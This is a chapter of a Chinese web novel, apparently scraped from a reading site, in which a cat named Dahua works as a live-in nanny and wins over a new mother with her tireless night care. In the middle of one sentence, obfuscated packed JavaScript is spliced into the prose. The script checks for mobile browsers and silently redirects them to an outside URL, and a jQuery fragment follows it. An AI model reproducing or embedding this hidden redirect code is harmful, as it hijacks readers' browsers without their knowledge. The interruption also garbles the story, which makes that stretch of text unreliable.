但是这个日子并没有多么万众瞩目,江有鱼只是悄悄在网络平台上多加了几个商品,分别是:住家育儿嫂、□□师和家庭私厨。 她对猫猫们的家政之路虽有信心,但是那都是尚未经历市场验证的设想,现在,是成是败,就看市场反馈了! 最先打开局面的是育儿嫂业务。 小雪救下的宝宝父母,早就登记了黎明家政公司的育儿嫂服务,江有鱼打电话询问他们是否需要育儿嫂时,对方很快就答应了。 本着互信互利的原则,江有鱼表示,可以试工三天,倘若对服务不满意,全额退款。 这种经营策略获得了客人的赞赏,双方痛快地签了合同。当天,大花——一只漂亮的玳瑁猫,就到秦女士家上岗了。 秦女士第一次见到这个新育儿嫂,就非常满意。 圆滚滚的脸,胖墩墩的身子,但是动作又灵活得很,毫不笨重,走起路来像是在地上飘,轻手轻脚,举止温柔,一看就让人安心。 更让人安心的,是大花身上散发出来的母性气质,秦女士忍不住问道:“你自己有孩子吧?” 大花作为猫中美女玳瑁猫,追求者无数,幼崽也多得很,她淡定回答:“有,都四五个了。” 这么能生啊!那带孩子的经验肯定丰富极了,秦女士顿时更加放心了,安排大花到宝宝房间住下。 经过上次不靠谱的育儿嫂事件,秦女士这次长了个心眼,事先在宝宝房间安装了一个监控摄像头。 当天夜里,秦女士一晚上都没睡,紧紧盯着监控,看大花怎么带宝宝。 她的宝宝是传说中高敏感高需求的类型,一点风吹草动就大哭大闹,彻夜不眠,折腾的全家也跟着睡不好。 然而她看到,大花目光灼灼,坐在宝宝摇篮边,眼睛一眨不眨地盯着宝宝,一副超级专注的样子。 只要宝宝发出轻微的哼声,大花就立刻开始推摇篮,把宝宝的哭声扼杀在萌芽状态。 太负责了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150869|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?她都不困的吗?秦女士有点感动了,作为宝宝的亲妈,她也无法成夜不睡地盯着宝宝。 大花:当然不困啦!要不然怎么叫夜猫子呢? 除此之外,大花还有超级敏锐的嗅觉做辅助。 空气中忽然弥漫开了一股臭味,人类完全闻不到,但对大花来说,那气味明显极了。 宝宝不适地扭动着身子,刚要哭两声来表示自己尿了,便被一双温柔的大手抱起来,熟练地换下他的脏尿布,换上崭新的尿不湿。 宝宝的哭腔还没酝酿出来,便一身干净清爽地重新回到摇篮中,想哭都没情绪了。 大花轻柔地推着摇篮,从喉咙里发出温柔的猫呼噜声,像是最好的白噪音一样,宝宝很快就被猫呼噜弄困了,沉沉睡去。 凌晨四点,大花竖起耳朵,她听到宝宝的肚子响了一声。 她立刻轻手轻脚地走出去冲奶粉,举止轻盈极了,完全没发出一丝噪音吵醒其余人。等她拿着奶瓶回来的时候,宝宝饿醒了,正要张嘴哭。 大花眼疾手快,立刻把奶瓶塞进宝宝嘴里。 宝宝的情绪顿时被打断了,无措地砸吧着嘴,吸到奶瓶里温度适宜的液体,立刻把一切放到脑后,开开心心地吸了起来,一边吸一边手舞足蹈。 宝宝的生活其实也是很苦逼的,他跟外界交流的技能还没点出来,笨蛋大人们不能理解他的意思,要把冷了饿了尿了所有选项都蒙一遍,才能找对需求,导致宝宝迟迟得不到满足,当然要愤而哭泣。 但是,今天照顾他的大人,好像很聪明,很能理解他呢! 害怕了,她就立刻抱住自己;尿尿了,尿不湿就立刻换好;饿了,温热的牛奶就送到嘴边。 对一个宝宝来说,生活还有什么所求呢? 于是,宝宝惬意地眯起了眼睛,喝完奶之后,大花又给他拍了嗝,宝宝舒舒服服地再次睡着了。 一夜都很安静。 自从孩子出生后,家里人从没有睡过这么完整的觉,当他们看到了夜晚的监控视频,更是不敢相信自己的眼睛。 这是什么级别的育儿嫂?居然能如此精准地预判婴儿的需求,毫不费力地便把宝宝照顾得妥妥帖帖…… 这哪里是育儿嫂?这根本是传说中会保佑婴儿健康成长的床头婆婆吧! 其实,猫猫早在古埃及时期就被认为是儿童的守护神啦,猫猫带娃可是经过历史验证的好~ 秦女士当即决定:不必再试工了,大花就是她家命中注定的育儿嫂!而且,她要给大花涨薪! 这年头,一个靠谱的育儿嫂多难找啊?既然自己遇到了,哪有轻易放过的道理? 大花就这样顺利地获得了留用,工资也从七千涨到了九千,做六休一,食宿全包,除了带宝宝,根本不用做别的家务。 而秦女士家的金牌育儿嫂,也很快就在小区宝妈群传遍了,大家纷纷对大花打听:“你们公司还有多少个育儿嫂?个个都像你一样好吗?” 大花老实开口道:“我们就十三个育儿嫂吧,我在里面算中下等水平……” 这也不是谦逊,大花在族群里,其实算是敷衍带娃的,最负责的猫姐妹可是会给小崽子舔屁屁呢! 宝妈们眼睛都亮了:“那现在,这些育儿嫂都有排期吗?” “我们是刚刚开始承接这项业务,只有我出来干活了,其他姐妹还在家等着接单呢。” 那!还!等!什!么!呀! 当天,江有鱼的电话就被打爆了:“黎明家政吗?我们家也要育儿嫂!”